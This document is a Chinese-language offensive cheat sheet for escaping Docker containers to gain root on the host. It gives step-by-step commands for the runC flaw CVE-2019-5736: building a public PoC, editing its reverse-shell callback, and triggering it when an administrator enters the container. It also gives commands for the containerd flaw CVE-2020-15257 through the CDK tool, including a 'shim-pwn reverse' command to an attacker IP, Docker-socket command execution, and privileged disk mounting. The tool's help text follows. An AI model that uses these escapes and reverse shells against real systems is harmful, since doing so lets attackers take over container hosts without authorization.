Docker-逃逸-本身漏洞-CDK工具使用 #
如何判断在不在docker环境 #
1.cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2.检查/.dockerenv文件
3.检查mount信息
4.查看硬盘 fdisk -l
如果测试了特权不行,socket,挂载都没有,就测试docker漏洞,内核漏洞,翻数据库文件找和主目录有交集的文件
如果是JAVA应用你进去就是ROOT 就考虑逃逸
如果是WWW那么还要加一步提权到ROOT 再到逃逸
本身漏洞CVE-2019-5736 runC容器逃逸 #
Docker version <= 18.09.2
RunC version <= 1.0-rc6
条件如上
需要go语言来编译POC
这个缺陷是需要管理员自己进入才能触发----
sudo yum install golang
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go linux环境编译
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest创建环境
docker cp main name:/ 上传镜像
docker exec -it name /bin/sh 触发反弹
https://github.com/Frichetten/CVE-2019-5736-PoC
下载poc修改反弹代码
上传文件执行
模拟管理员登录
自动反弹本机的文件ROOT到反弹的位置
CVE-2020-15257 containerd逃逸-工具CDK介绍 #
containerd < 1.4.3
containerd < 1.3.9
我们使用工具来逃逸上传进去添加777权限
普通检测./cdk_linux_amd64 evaluate
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx 使用CVE-2020-15257
如果检测到就使用 例如特权模式挂载命令 ./cdk run mount-disk
socket挂载漏洞 ./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success" 命令执行
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
https://github.com/cdk-team/CDK
拿到主机权限